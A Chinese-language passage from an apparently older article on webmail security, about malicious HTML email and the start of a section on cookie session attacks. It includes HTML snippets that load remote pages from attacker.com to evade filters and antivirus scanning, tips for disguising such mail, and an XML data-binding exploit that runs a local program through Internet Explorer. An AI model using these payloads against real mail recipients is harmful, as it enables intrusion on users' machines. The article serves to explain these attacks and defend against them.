除了可以在html邮件中直接嵌入脚本程序外,攻击者还可以设计一些html代码,在用户打开html邮件时,不知不觉引入另一个html文件,而此文件中正含有恶性代码,这样不仅能直接绕过webmail系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。下面是几个调用html文件的例子:
(1) refresh到另一个页面:
<body>
<meta http-equiv="refresh" content="1;url=http://www.attacker.com/another.htm">
</body>
(2) iframe引入另一个页面:
<body>
<iframe src="http://www.attacker.com/import.htm" frameborder="0"></iframe>
</body>
(3) scriptlet引入另一个页面:
<body>
<object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object>
</body>
攻击者还可以采取如下方法,使带有恶性代码的html邮件具有更大的隐蔽性:
(1) 配合邮件欺骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。
(2) 把html邮件设计成看起来像txt邮件。
(3) 有时可以把html邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。
针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用activex、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常html页面的浏览。即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让windows系统自动执行任何本地程序,即使inte.net explorer已经禁止了activex和脚本程序:
<span datasrc="#oexec" datafld="exploit" dataformatas="html"></span>
<xml id="oexec">
<security>
<exploit>
<![cdata[
<object id="ofile" classid="clsid:11111111-1111-1111-1111-
111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
面对恶性html邮件,webmail系统和用户似乎都没有很好的解决办法,虽然许多webmail系统已经能够过滤掉html邮件中的很多恶性代码,不过令人遗憾的是,要想彻底过滤掉恶性代码并不是一件容易的事情,攻击者总能利用webmail系统过滤机制和浏览器的漏洞找到办法绕过种种过滤,webmail系统所能做的就是发现一个漏洞补一个漏洞。
为了减少乃至避免恶性html邮件的影响,在打开html邮件之前,webmail系统有必要提醒用户这是一个html邮件,如果能提供让用户以文本方式浏览html邮件的功能,则是最好不过。在打开不明邮件之前,用户更要小心谨慎,最好把html邮件“目标另存为”到本地硬盘上再打开来看,如果能先查看html邮件源代码,则是最好不过。
另外需要特别提醒用户注意的是,虽然一些电子邮件系统会在webmail系统上对html邮件中的恶性代码进行过滤,但在pop3服务器上并不会进行过滤,所以,如果是通过邮件客户端收取邮件,仍然要谨防恶性html邮件的危害。
五、cookie会话攻击
当用户以自已的邮箱帐户和密码登录进webmail以后,如果再让用户对每一步操作都输入密码加以确认就会让人不甚其烦。所以webmail系统有必要进行用户会话跟踪,webmail系统用到的会话跟踪技术主要有两种:cookie会话跟踪和url会话跟踪。
cookie是web服务器保存在用户浏览器上的文本信息,可以包含用户名、特殊id、访问次数等任何信息,通常此信息用于标识访问同一web服务器上的不同用户,在浏览器每次访问同一web服务器时会发送过去,用于跟踪特定客户端或浏览器与web服务器进行交互的状态。
cookie的类型有两种:持久型和临时型。持久型cookie以文本形式存储在硬盘上,由浏览器存取。使用了持久型cookie会话跟踪的webmail系统有hotmail、yahoo电邮(可选)等。临时型cookie也称为会话cookie,存储在内存中,仅为当前浏览器的对话存储,关闭当前浏览器后会立即消失,asp、php4等开发程序中用到的session对象就会产生临时型cookie。使用了临时型cookie会话跟踪的webmail系统有fm365、亿邮等。
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器